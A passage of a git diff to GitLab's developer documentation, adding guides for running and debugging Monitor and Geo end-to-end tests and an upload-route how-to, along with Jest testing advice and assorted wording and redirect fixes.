+| `:jira` | The test requires a Jira Server. [GitLab-QA](https://gitlab.com/gitlab-org/gitlab-qa) will provision the Jira Server in a Docker container when the `Test::Integration::Jira` test scenario is run.
| `:kubernetes` | The test includes a GitLab instance that is configured to be run behind an SSH tunnel, allowing a TLS-accessible GitLab. This test will also include provisioning of at least one Kubernetes cluster to test against. *This tag is often be paired with `:orchestrated`.* |
+| `:only` | The test is only to be run against specific environments. See [Environment selection](environment_selection.md) for more information. |
| `:orchestrated` | The GitLab instance under test may be [configured by `gitlab-qa`](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/what_tests_can_be_run.md#orchestrated-tests) to be different to the default GitLab configuration, or `gitlab-qa` may launch additional services in separate Docker containers, or both. Tests tagged with `:orchestrated` are excluded when testing environments where we can't dynamically modify GitLab's configuration (for example, Staging). |
| `:quarantine` | The test has been [quarantined](https://about.gitlab.com/handbook/engineering/quality/guidelines/debugging-qa-test-failures/#quarantining-tests), will run in a separate job that only includes quarantined tests, and is allowed to fail. The test will be skipped in its regular job so that if it fails it will not hold up the pipeline. Note that you can also [quarantine a test only when it runs against specific environment](environment_selection.md#quarantining-a-test-for-a-specific-environment). |
| `:reliable` | The test has been [promoted to a reliable test](https://about.gitlab.com/handbook/engineering/quality/guidelines/reliable-tests/#promoting-an-existing-test-to-reliable) meaning it passes consistently in all pipelines, including merge requests. |
| `:requires_admin` | The test requires an admin account. Tests with the tag are excluded when run against Canary and Production environments. |
| `:runner` | The test depends on and will set up a GitLab Runner instance, typically to run a pipeline. |
-| `:gitaly_ha` | The test will run against a GitLab instance where repositories are stored on redundant Gitaly nodes behind a Praefect node. All nodes are [separate containers](../../../administration/gitaly/praefect.md#requirements-for-configuring-a-gitaly-cluster). Tests that use this tag have a longer setup time since there are three additional containers that need to be started. |
| `:skip_live_env` | The test will be excluded when run against live deployed environments such as Staging, Canary, and Production. |
-| `:jira` | The test requires a Jira Server. [GitLab-QA](https://gitlab.com/gitlab-org/gitlab-qa) will provision the Jira Server in a Docker container when the `Test::Integration::Jira` test scenario is run.
-| `:only` | The test is only to be run against specific environments. See [Environment selection](environment_selection.md) for more information. |
+| `:testcase` | The link to the test case issue in the [Quality Testcases project](https://gitlab.com/gitlab-org/quality/testcases/). |
diff --git a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md
index 2cf2bb5b1d0..7ac0a00fcff 100644
--- a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md
+++ b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md
@@ -134,3 +134,262 @@ Once you have finished testing you can stop and remove the Docker containers:
docker stop gitlab-gitaly-ha praefect postgres gitaly3 gitaly2 gitaly1
docker rm gitlab-gitaly-ha praefect postgres gitaly3 gitaly2 gitaly1
```
+
+## Guide to run and debug Monitor tests
+
+### How to set up
+
+To run the Monitor tests locally, against the GDK, please follow the preparation steps below:
+
+1. Complete the [Prerequisites](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/auto_devops/index.md#prerequisites-for-gitlab-team-members-only), at least through step 5. Note that the monitor tests do not require permissions to work with GKE because they use [k3s as a Kubernetes cluster provider](https://github.com/rancher/k3s).
+1. The test setup deploys the app in a Kubernetes cluster, using the Auto DevOps deployment strategy.
+To enable Auto DevOps in GDK, follow the [associated setup](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/auto_devops/index.md#setup) instructions. If you have problems, review the [troubleshooting guide](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/auto_devops/tips_and_troubleshooting.md) or reach out to the `#gdk` channel in the internal GitLab Slack.
+1. Do [secure your GitLab instance](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/auto_devops/index.md#secure-your-gitlab-instance) since it is now publicly accessible on `https://[YOUR-PORT].qa-tunnel.gitlab.info`.
+1. Install the Kubernetes command line tool known as `kubectl`. Use the [official installation instructions](https://kubernetes.io/docs/tasks/tools/install-kubectl/).
+
+You might see NGINX issues when you run `gdk start` or `gdk restart`. In that case, run `sft login` to revalidate your credentials and regain access the QA Tunnel.
+
+### How to run
+
+Navigate to the folder in `/your-gdk/gitlab/qa` and issue the command:
+
+```shell
+QA_DEBUG=true CHROME_HEADLESS=false GITLAB_ADMIN_USERNAME=rootusername GITLAB_ADMIN_PASSWORD=rootpassword GITLAB_QA_ACCESS_TOKEN=your_token_here GITLAB_QA_ADMIN_ACCESS_TOKEN=your_token_here CLUSTER_API_URL=https://kubernetes.docker.internal:6443 bundle exec bin/qa Test::Instance::All https://[YOUR-PORT].qa-tunnel.gitlab.info/ -- qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb --tag kubernetes --tag orchestrated --tag requires_admin
+```
+
+The following includes more information on the command:
+
+-`QA_DEBUG` - Set to `true` to verbosely log page object actions.
+-`CHROME_HEADLESS` - When running locally, set to `false` to allow Chrome tests to be visible - watch your tests being run.
+-`GITLAB_ADMIN_USERNAME` - Admin username to use when adding a license.
+-`GITLAB_ADMIN_PASSWORD` - Admin password to use when adding a license.
+-`GITLAB_QA_ACCESS_TOKEN` and `GITLAB_QA_ADMIN_ACCESS_TOKEN` - A valid personal access token with the `api` scope. This is used for API access during tests, and is used in the version that staging is currently running. The `ADMIN_ACCESS_TOKEN` is from a user with admin access. Used for API access as an admin during tests.
+-`CLUSTER_API_URL` - Use the address `https://kubernetes.docker.internal:6443` . This address is used to enable the cluster to be network accessible while deploying using Auto DevOps.
+-`https://[YOUR-PORT].qa-tunnel.gitlab.info/` - The address of your local GDK
+-`qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb` - The path to the monitor core specs
+-`--tag` - the meta-tags used to filter the specs correctly
+
+At the moment of this writing, there are two specs which run monitor tests:
+
+-`qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb` - has the specs of features in GitLab Core
+-`qa/specs/features/ee/browser_ui/8_monitor/all_monitor_features_spec.rb` - has the specs of features for paid GitLab (Enterprise Edition)
+
+### How to debug
+
+The monitor tests follow this setup flow:
+
+1. Creates a k3s cluster on your local machine.
+1. Creates a project that has Auto DevOps enabled and uses an Express template (NodeJS) for the app to be deployed.
+1. Associates the created cluster to the project and installs GitLab Runner, Prometheus and Ingress which are the needed components for a successful deployment.
+1. Creates a CI pipeline with 2 jobs (`build` and `production`) to deploy the app on the Kubernetes cluster.
+1. Goes to Operation > Metrics menu to verify data is being received and the app is being monitored successfully.
+
+The test requires a number of components. The setup requires time to collect the metrics of a real deployment.
+The complexity of the setup may lead to problems unrelated to the app. The following sections include common strategies to debug possible issues.
+
+#### Deployment with Auto DevOps
+
+When debugging issues in the CI or locally in the CLI, open the Kubernetes job in the pipeline.
+In the job log window, click on the top right icon labeled as *"Show complete raw"* to reveal raw job logs.
+You can now search through the logs for *Job log*, which matches delimited sections like this one:
+
+```shell
+------- Job log: -------
+```
+
+A Job log is a subsection within these logs, related to app deployment. We use two jobs: `build` and `production`.
+You can find the root causes of deployment failures in these logs, which can compromise the entire test.
+If a `build` job fails, the `production` job won't run, and the test fails.
+
+The long test setup does not take screenshots of failures, which is a known [issue](https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/270).
+However, if the spec fails (after a successful deployment) then you should be able to find screenshots which display the feature failure.
+To access them in CI, go to the main job log window, look on the left side panel's Job artifacts section, and click Browse.
+
+#### Common issues
+
+**Container Registry**
+
+When enabling Auto DevOps in the GDK, you may see issues with the Container Registry, which stores
+images of the app to be deployed.
+
+You can access the Registry is available by opening an existing project. On the left hand menu,
+select `Packages & Registries > Container Registries`. If the Registry is available, this page should load normally.
+
+Also, the Registry should be running in Docker:
+
+```shell
+$ docker ps
+
+CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
+f035f339506c registry.gitlab.com/gitlab-org/build/cng/gitlab-container-registry:v2.9.1-gitlab "/bin/sh -c 'exec /b…" 3 hours ago Up 3 hours 0.0.0.0:5000->5000/tcp jovial_proskuriakova
+```
+
+The `gdk status` command shows if the registry is running:
+
+```shell
+run: ./services/registry: (pid 2662) 10875s, normally down; run: log: (pid 65148) 177993s
+run: ./services/tunnel_gitlab: (pid 2650) 10875s, normally down; run: log: (pid 65154) 177993s
+run: ./services/tunnel_registry: (pid 2651) 10875s, normally down; run: log: (pid 65155) 177993s
+```
+
+Also, restarting Docker and then, on the Terminal, issue the command `docker login https://[YOUR-REGISTRY-PORT].qa-tunnel.gitlab.info:443` and use the GDK credentials to login. Note that the Registry port and GDK port are not the same. When configuring Auto DevOps in GDK, the `gdk reconfigure` command outputs the port of the Registry:
+
+```shell
+*********************************************
+Tunnel URLs
+
+GitLab: https://[PORT].qa-tunnel.gitlab.info
+Registry: https://[PORT].qa-tunnel.gitlab.info
+*********************************************
+```
+
+These Tunnel URLs are used by the QA SSH Tunnel generated when enabling Auto DevOps on the GDK.
+
+**Pod Eviction**
+
+Pod eviction happens when a node in a Kubernetes cluster is running out of memory or disk. After many local deployments this issue can happen. The UI shows that installing Prometheus, GitLab Runner and Ingress failed. How to be sure it is an Eviction? While the test is running, open another Terminal window and debug the current Kubernetes cluster by `kubectl get pods --all-namespaces`. If you observe that Pods have *Evicted status* such as the install-runner here:
+
+```shell
+$ kubectl get pods --all-namespaces
+
+NAMESPACE NAME READY STATUS RESTARTS AGE
+gitlab-managed-apps install-ingress 0/1 Pending 0 25s
+gitlab-managed-apps install-prometheus 0/1 Pending 0 12s
+gitlab-managed-apps install-runner 0/1 Evicted 0 75s
+```
+
+You can free some memory with either of the following commands: `docker prune system` or `docker prune volume`.
+
+## Geo tests
+
+Geo end-to-end tests can run locally against a [Geo GDK setup](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/geo.md) or on Geo spun up in Docker containers.
+
+### Using Geo GDK
+
+Run from the [`qa/` directory](https://gitlab.com/gitlab-org/gitlab/-/blob/f7272b77e80215c39d1ffeaed27794c220dbe03f/qa) with both GDK Geo primary and Geo secondary instances running:
+
+```shell
+CHROME_HEADLESS=false bundle exec bin/qa QA::EE::Scenario::Test::Geo --primary-address http://localhost:3001 --secondary-address http://localhost:3002 --without-setup
+```
+
+### Using Geo in Docker
+
+You can use [GitLab-QA Orchestrator](https://gitlab.com/gitlab-org/gitlab-qa) to orchestrate two GitLab containers and configure them as a Geo setup.
+
+Geo requires an EE license. To visit the Geo sites in your browser, you will need a reverse proxy server (for example, [NGINX](https://www.nginx.com/)).
+
+1. Export your EE license
+
+ ```shell
+ export EE_LICENSE=$(cat <path/to/your/gitlab_license>)
+ ```
+
+1. (Optional) Pull the GitLab image
+
+ This step is optional because pulling the Docker image is part of the [`Test::Integration::Geo` orchestrated scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/d8c5c40607c2be0eda58bbca1b9f534b00889a0b/lib/gitlab/qa/scenario/test/integration/geo.rb). However, it's easier to monitor the download progress if you pull the image first, and the scenario will skip this step after checking that the image is up to date.
+
+ ```shell
+ # For the most recent nightly image
+ docker pull gitlab/gitlab-ee:nightly
+
+ # For a specific release
+ docker pull gitlab/gitlab-ee:13.0.10-ee.0
+
+ # For a specific image
+ docker pull registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:examplesha123456789
+ ```
+
+1. Run the [`Test::Integration::Geo` orchestrated scenario](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/d8c5c40607c2be0eda58bbca1b9f534b00889a0b/lib/gitlab/qa/scenario/test/integration/geo.rb) with the `--no-teardown` option to build the GitLab containers, configure the Geo setup, and run Geo end-to-end tests. Running the tests after the Geo setup is complete is optional; the containers will keep running after you stop the tests.
+
+ ```shell
+ # Using the most recent nightly image
+ gitlab-qa Test::Integration::Geo EE --no-teardown
+
+ # Using a specific GitLab release
+ gitlab-qa Test::Integration::Geo EE:13.0.10-ee.0 --no-teardown
+
+ # Using a full image address
+ GITLAB_QA_ACCESS_TOKEN=your-token-here gitlab-qa Test::Integration::Geo registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:examplesha123456789 --no-teardown
+ ```
+
+ You can use the `--no-tests` option to build the containers only, and then run the [`EE::Scenario::Test::Geo` scenario](https://gitlab.com/gitlab-org/gitlab/-/blob/f7272b77e80215c39d1ffeaed27794c220dbe03f/qa/qa/ee/scenario/test/geo.rb) from your GDK to complete setup and run tests. However, there might be configuration issues if your GDK and the containers are based on different GitLab versions. With the `--no-teardown` option, GitLab-QA uses the same GitLab version for the GitLab containers and the GitLab QA container used to configure the Geo setup.
+
+1. To visit the Geo sites in your browser, proxy requests to the hostnames used inside the containers. NGINX is used as the reverse proxy server for this example.
+
+ _Map the hostnames to the local IP in `/etc/hosts` file on your machine:_
+
+ ```plaintext
+ 127.0.0.1 gitlab-primary.geo gitlab-secondary.geo
+ ```
+
+ _Note the assigned ports:_
+
+ ```shell
+ $ docker port gitlab-primary
+
+ 80/tcp -> 0.0.0.0:32768
+
+ $ docker port gitlab-secondary
+
+ 80/tcp -> 0.0.0.0:32769
+ ```
+
+ _Configure the reverse proxy server with the assigned ports in `nginx.conf` file (usually found in `/usr/local/etc/nginx` on a Mac):_
+
+ ```plaintext
+ server {
+ server_name gitlab-primary.geo;
+ location / {
+ proxy_pass http://localhost:32768; # Change port to your assigned port
+ proxy_set_header Host gitlab-primary.geo;
+ }
+ }
+
+ server {
+ server_name gitlab-secondary.geo;
+ location / {
+ proxy_pass http://localhost:32769; # Change port to your assigned port
+ proxy_set_header Host gitlab-secondary.geo;
+ }
+ }
+ ```
+
+ _Start or reload the reverse proxy server:_
+
+ ```shell
+ sudo nginx
+ # or
+ sudo nginx -s reload
+ ```
+
+1. To run end-to-end tests from your local GDK, run the [`EE::Scenario::Test::Geo` scenario](https://gitlab.com/gitlab-org/gitlab/-/blob/f7272b77e80215c39d1ffeaed27794c220dbe03f/qa/qa/ee/scenario/test/geo.rb) from the [`gitlab/qa/` directory](https://gitlab.com/gitlab-org/gitlab/-/blob/f7272b77e80215c39d1ffeaed27794c220dbe03f/qa). Include `--without-setup` to skip the Geo configuration steps.
+
+ ```shell
+ QA_DEBUG=true GITLAB_QA_ACCESS_TOKEN=[add token here] GITLAB_QA_ADMIN_ACCESS_TOKEN=[add token here] bundle exec bin/qa QA::EE::Scenario::Test::Geo \
+ --primary-address http://gitlab-primary.geo \
+ --secondary-address http://gitlab-secondary.geo \
+ --without-setup
+ ```
+
+ If the containers need to be configured first (for example, if you used the `--no-tests` option in the previous step), run the `QA::EE::Scenario::Test::Geo scenario` as shown below to first do the Geo configuration steps, and then run Geo end-to-end tests. Make sure that `EE_LICENSE` is (still) defined in your shell session.
+
+ ```shell
+ QA_DEBUG=true bundle exec bin/qa QA::EE::Scenario::Test::Geo \
+ --primary-address http://gitlab-primary.geo \
+ --primary-name gitlab-primary \
+ --secondary-address http://gitlab-secondary.geo \
+ --secondary-name gitlab-secondary
+ ```
+
+1. Stop and remove containers
+
+ ```shell
+ docker stop gitlab-primary gitlab-secondary
+ docker rm gitlab-primary gitlab-secondary
+ ```
+
+#### Notes
+
+- You can find the full image address from a pipeline by [following these instructions](https://about.gitlab.com/handbook/engineering/quality/guidelines/tips-and-tricks/#running-gitlab-qa-pipeline-against-a-specific-gitlab-release). You might be prompted to set the `GITLAB_QA_ACCESS_TOKEN` variable if you specify the full image address.
+- You can increase the wait time for replication by setting `GEO_MAX_FILE_REPLICATION_TIME` and `GEO_MAX_DB_REPLICATION_TIME`. The default is 120 seconds.
+- To save time during tests, create a Personal Access Token with API access on the Geo primary node, and pass that value in as `GITLAB_QA_ACCESS_TOKEN` and `GITLAB_QA_ADMIN_ACCESS_TOKEN`.
diff --git a/doc/development/testing_guide/frontend_testing.md b/doc/development/testing_guide/frontend_testing.md
index 83d03097466..30e78766dde 100644
--- a/doc/development/testing_guide/frontend_testing.md
+++ b/doc/development/testing_guide/frontend_testing.md
@@ -230,7 +230,7 @@ it('exists', () => {
// Best
// NOTE: both mount and shallowMount work as long as a DOM element is available
- // Finds a properly formatted link with an accessable name of "Click Me"
+ // Finds a properly formatted link with an accessible name of "Click Me"
getByRole(el, 'link', { name: /Click Me/i })
getByRole(el, 'link', { name: 'Click Me' })
// Finds any element with the text "Click Me"
@@ -321,80 +321,56 @@ it('tests a promise', async () => {
});
it('tests a promise rejection', async () => {
- expect.assertions(1);
- try {
- await user.getUserName(1);
- } catch (e) {
- expect(e).toEqual({
- error: 'User with 1 not found.',
- });
- }
+ await expect(user.getUserName(1)).rejects.toThrow('User with 1 not found.');
});
```
-You can also work with Promise chains. In this case, you can make use of the `done` callback and `done.fail` in case an error occurred. Following are some examples:
+You can also simply return a promise from the test function.
+
+NOTE: **Note:**
+Using the `done` and `done.fail` callbacks is discouraged when working with
+promises. They should only be used when testing callback-based code.
**Bad**:
```javascript
-// missing done callback
+// missing return
it('tests a promise', () => {
promise.then(data => {
expect(data).toBe(asExpected);
});
});
-// missing catch
-it('tests a promise', done => {
- promise
- .then(data => {
- expect(data).toBe(asExpected);
- })
- .then(done);
-});
-
-// use done.fail in asynchronous tests
+// uses done/done.fail
it('tests a promise', done => {
promise
.then(data => {
expect(data).toBe(asExpected);
})
.then(done)
- .catch(fail);
-});
-
-// missing catch
-it('tests a promise rejection', done => {
- promise
- .catch(error => {
- expect(error).toBe(expectedError);
- })
- .then(done);
+ .catch(done.fail);
});
```
**Good**:
```javascript
-// handling success
-it('tests a promise', done => {
- promise
+// verifying a resolved promise
+it('tests a promise', () => {
+ return promise
.then(data => {
expect(data).toBe(asExpected);
- })
- .then(done)
- .catch(done.fail);
+ });
});
-// failure case
-it('tests a promise rejection', done => {
- promise
- .then(done.fail)
- .catch(error => {
- expect(error).toBe(expectedError);
- })
- .then(done)
- .catch(done.fail);
+// verifying a resolved promise using Jest's `resolves` matcher
+it('tests a promise', () => {
+ return expect(promise).resolves.toBe(asExpected);
+});
+
+// verifying a rejected promise using Jest's `rejects` matcher
+it('tests a promise rejection', () => {
+ return expect(promise).rejects.toThrow(expectedError);
});
```
diff --git a/doc/development/testing_guide/index.md b/doc/development/testing_guide/index.md
index 0d470e0e737..a61a700594c 100644
--- a/doc/development/testing_guide/index.md
+++ b/doc/development/testing_guide/index.md
@@ -4,7 +4,7 @@ This document describes various guidelines and best practices for automated
testing of the GitLab project.
It is meant to be an _extension_ of the [thoughtbot testing
-style guide](https://github.com/thoughtbot/guides/tree/master/style/testing). If
+style guide](https://github.com/thoughtbot/guides/tree/master/testing-rspec). If
this guide defines a rule that contradicts the thoughtbot guide, this guide
takes precedence. Some guidelines may be repeated verbatim to stress their
importance.
diff --git a/doc/development/testing_guide/review_apps.md b/doc/development/testing_guide/review_apps.md
index 68816ccfe45..61d3299cabf 100644
--- a/doc/development/testing_guide/review_apps.md
+++ b/doc/development/testing_guide/review_apps.md
@@ -165,8 +165,11 @@ This will grant you the following permissions for:
### Log into my Review App
-The default username is `root` and its password can be found in the 1Password
-secure note named `gitlab-{ce,ee} Review App's root password`.
+For GitLab Team Members only. If you want to sign in to the review app, review
+the GitLab handbook information for the [shared 1Password account](https://about.gitlab.com/handbook/security/#1password-for-teams).
+
+- The default username is `root`.
+- The password can be found in the 1Password secure note named `gitlab-{ce,ee} Review App's root password`.
### Enable a feature flag for my Review App
diff --git a/doc/development/uploads.md b/doc/development/uploads.md
index 0c8b712a001..ee94553c200 100644
--- a/doc/development/uploads.md
+++ b/doc/development/uploads.md
@@ -264,3 +264,77 @@ sequenceDiagram
deactivate sidekiq
end
```
+
+## How to add a new upload route
+
+In this section, we'll describe how to add a new upload route [accelerated](#uploading-technologies) by Workhorse for [body and multipart](#upload-encodings) encoded uploads.
+
+Uploads routes belong to one of these categories:
+
+1. Rails controllers: uploads handled by Rails controllers.
+1. Grape API: uploads handled by a Grape API endpoint.
+1. GraphQL API: uploads handled by a GraphQL resolve function. In these cases, there is nothing else
+ to do apart from implementing the actual upload.
+
+### Update Workhorse for the new route
+
+For both the Rails controller and Grape API uploads, Workhorse has to be updated in order to get the
+support for the new upload route.
+
+1. Open an new issue in the [Workhorse tracker](https://gitlab.com/gitlab-org/gitlab-workhorse/-/issues/new) describing precisely the new upload route:
+ - The route's URL.
+ - The [upload encoding](#upload-encodings).
+ - If possible, provide a dump of the upload request.
+1. Implement and get the MR merged for this issue above.
+1. Ask the Maintainers of [Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse) to create a new release. You can do that in the MR
+ directly during the maintainer review or ask for it in the `#workhorse` Slack channel.
+1. Bump the [Workhorse version file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/GITLAB_WORKHORSE_VERSION)
+ to the version you have from the previous points, or bump it in the same merge request that contains
+ the Rails changes (see [Implementing the new route with a Rails controller](#implementing-the-new-route-with-a-rails-controller) or [Implementing the new route with a Grape API endpoint](#implementing-the-new-route-with-a-grape-api-endpoint) below).
+
+### Implementing the new route with a Rails controller
+
+For a Rails controller upload, we usually have a [multipart](#upload-encodings) upload and there are a
+few things to do:
+
+1. The upload is available under the parameter name you're using. For example, it could be an `artifact`
+ or a nested parameter such as `user[avatar]`. Let's say that we have the upload under the
+ `file` parameter, reading `params[:file]` should get you an [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb) instance.
+1. Generally speaking, it's a good idea to check if the instance is from the [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb) class. For example, see how we checked
+[that the parameter is indeed an `UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/commit/ea30fe8a71bf16ba07f1050ab4820607b5658719#51c0cc7a17b7f12c32bc41cfab3649ff2739b0eb_79_77).
+
+CAUTION: **Caution:**
+**Do not** call `UploadedFile#from_params` directly! Do not build an [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb)
+instance using `UploadedFile#from_params`! This method can be unsafe to use depending on the `params`
+passed. Instead, use the [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb)
+instance that [`multipart.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/middleware/multipart.rb)
+builds automatically for you.
+
+### Implementing the new route with a Grape API endpoint
+
+For a Grape API upload, we can have [body or a multipart](#upload-encodings) upload. Things are slightly more complicated: two endpoints are needed. One for the
+Workhorse pre-upload authorization and one for accepting the upload metadata from Workhorse:
+
+1. Implement an endpoint with the URL + `/authorize` suffix that will:
+ - Check that the request is coming from Workhorse with the `require_gitlab_workhorse!` from the [API helpers](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/helpers.rb).
+ - Check user permissions.
+ - Set the status to `200` with `status 200`.
+ - Set the content type with `content_type Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE`.
+ - Use your dedicated `Uploader` class (let's say that it's `FileUploader`) to build the response with `FileUploader.workhorse_authorize(params)`.
+1. Implement the endpoint for the upload request that will:
+ - Require all the `UploadedFile` objects as parameters.
+ - For example, if we expect a single parameter `file` to be an [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb) instance,
+use `requires :file, type: ::API::Validations::Types::WorkhorseFile`.
+ - Body upload requests have their upload available under the parameter `file`.
+ - Check that the request is coming from Workhorse with the `require_gitlab_workhorse!` from the
+[API helpers](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/helpers.rb).
+ - Check the user permissions.
+ - The remaining code of the processing. This is where the code must be reading the parameter (for
+our example, it would be `params[:file]`).
+
+CAUTION: **Caution:**
+**Do not** call `UploadedFile#from_params` directly! Do not build an [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb)
+object using `UploadedFile#from_params`! This method can be unsafe to use depending on the `params`
+passed. Instead, use the [`UploadedFile`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/uploaded_file.rb)
+object that [`multipart.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/middleware/multipart.rb)
+builds automatically for you.
diff --git a/doc/development/what_requires_downtime.md b/doc/development/what_requires_downtime.md
index e9d4ed8eaf6..7c99bcde413 100644
--- a/doc/development/what_requires_downtime.md
+++ b/doc/development/what_requires_downtime.md
@@ -30,14 +30,14 @@ places. This can be done by defining the columns to ignore. For example, to igno
```ruby
class User < ApplicationRecord
include IgnorableColumns
- ignore_column :updated_at, remove_with: '12.7', remove_after: '2019-12-22'
+ ignore_column :updated_at, remove_with: '12.7', remove_after: '2020-01-22'
end
```
Multiple columns can be ignored, too:
```ruby
-ignore_columns %i[updated_at created_at], remove_with: '12.7', remove_after: '2019-12-22'
+ignore_columns %i[updated_at created_at], remove_with: '12.7', remove_after: '2020-01-22'
```
We require indication of when it is safe to remove the column ignore with:
@@ -45,7 +45,7 @@ We require indication of when it is safe to remove the column ignore with:
- `remove_with`: set to a GitLab release typically two releases (M+2) after adding the
column ignore.
- `remove_after`: set to a date after which we consider it safe to remove the column
- ignore, typically within the development cycle of release M+2.
+ ignore, typically last date of the development cycle of release M+2 - namely the release date.
This information allows us to reason better about column ignores and makes sure we
don't remove column ignores too early for both regular releases and deployments to GitLab.com. For
diff --git a/doc/development/windows.md b/doc/development/windows.md
index c92a468fad3..3301e4f7c8f 100644
--- a/doc/development/windows.md
+++ b/doc/development/windows.md
@@ -87,7 +87,7 @@ You should now be remoted into a Windows machine with a command prompt.
- Start the runner: `gitlab-runner.exe start`.
For more information, see [Install GitLab Runner on Windows](https://docs.gitlab.com/runner/install/windows.html)
-and [Registering Runners](https://docs.gitlab.com/runner/register/index.html).
+and [Registering runners](https://docs.gitlab.com/runner/register/index.html).
## Developer tips
diff --git a/doc/getting-started/subscription.md b/doc/getting-started/subscription.md
index 65999183d4a..8bcd11c20c8 100644
--- a/doc/getting-started/subscription.md
+++ b/doc/getting-started/subscription.md
@@ -1,3 +1,3 @@
---
redirect_to: '../subscriptions/index.md'
---- \ No newline at end of file
+---
diff --git a/doc/gitlab-basics/create-project.md b/doc/gitlab-basics/create-project.md
index 929062102bb..f411ac769c0 100644
--- a/doc/gitlab-basics/create-project.md
+++ b/doc/gitlab-basics/create-project.md
@@ -63,7 +63,7 @@ There are two types of project templates:
- [Built-in templates](#built-in-templates), sourced from the following groups:
- [`project-templates`](https://gitlab.com/gitlab-org/project-templates)
- [`pages`](https://gitlab.com/pages)
-- [Custom project templates](#custom-project-templates-premium), for custom templates
+- [Custom project templates](#custom-project-templates), for custom templates
configured by GitLab administrators and users.
#### Built-in templates
diff --git a/doc/gitlab-basics/create-your-ssh-keys.md b/doc/gitlab-basics/create-your-ssh-keys.md
index fba0408e26b..2a59f10073f 100644
--- a/doc/gitlab-basics/create-your-ssh-keys.md
+++ b/doc/gitlab-basics/create-your-ssh-keys.md
@@ -7,8 +7,8 @@ type: howto
# Create and add your SSH key pair
-It is best practice to use [Git over SSH instead of Git over HTTP](https://git-scm.com/book/en/v2/Git-on-the-Server-The-Protocols).
-In order to use SSH, you will need to:
+It's best practice to use [Git over SSH instead of Git over HTTP](https://git-scm.com/book/en/v2/Git-on-the-Server-The-Protocols).
+In order to use SSH, you need to:
1. Create an SSH key pair
1. Add your SSH public key to GitLab
@@ -25,6 +25,6 @@ To add the SSH public key to GitLab, see
[Adding an SSH key to your GitLab account](../ssh/README.md#adding-an-ssh-key-to-your-gitlab-account).
NOTE: **Note:**
-Once you add a key, you cannot edit it. If it didn't paste properly, it
+Once you add a key, you can't edit it. If it did not paste properly, it
[will not work](../ssh/README.md#testing-that-everything-is-set-up-correctly), and
-you will need to remove the key from GitLab and try adding it again.
+you need to remove the key from GitLab and try adding it again.
diff --git a/doc/gitlab-basics/start-using-git.md b/doc/gitlab-basics/start-using-git.md
index 95b3a59ef6e..3812fd3b92a 100644
--- a/doc/gitlab-basics/start-using-git.md
+++ b/doc/gitlab-basics/start-using-git.md
@@ -1,10 +1,9 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
type: howto, tutorial
description: "Introduction to using Git through the command line."
-last_updated: 2020-06-30
---
# Start using Git on the command line
diff --git a/doc/gitlab-geo/README.md b/doc/gitlab-geo/README.md
index 30d21db7de5..67e919fc136 100644
--- a/doc/gitlab-geo/README.md
+++ b/doc/gitlab-geo/README.md
@@ -1,5 +1,5 @@
---
-redirect_to: '../administration/geo/replication/index.md'
+redirect_to: '../administration/geo/index.md'
---
-This document was moved to [another location](../administration/geo/replication/index.md).
+This document was moved to [another location](../administration/geo/index.md).
diff --git a/doc/gitlab-geo/database.md b/doc/gitlab-geo/database.md
index b4156dc4ec6..2f68068d95b 100644
--- a/doc/gitlab-geo/database.md
+++ b/doc/gitlab-geo/database.md
@@ -1,5 +1,5 @@
---
-redirect_to: '../administration/geo/replication/database.md'
+redirect_to: '../administration/geo/setup/database.md'
---
-This document was moved to [another location](../administration/geo/replication/database.md).
+This document was moved to [another location](../administration/geo/setup/database.md).
diff --git a/doc/gitlab-geo/database_source.md b/doc/gitlab-geo/database_source.md
index b4156dc4ec6..2f68068d95b 100644
--- a/doc/gitlab-geo/database_source.md
+++ b/doc/gitlab-geo/database_source.md
@@ -1,5 +1,5 @@
---
-redirect_to: '../administration/geo/replication/database.md'
+redirect_to: '../administration/geo/setup/database.md'
---
-This document was moved to [another location](../administration/geo/replication/database.md).
+This document was moved to [another location](../administration/geo/setup/database.md).
diff --git a/doc/install/aws/index.md b/doc/install/aws/index.md
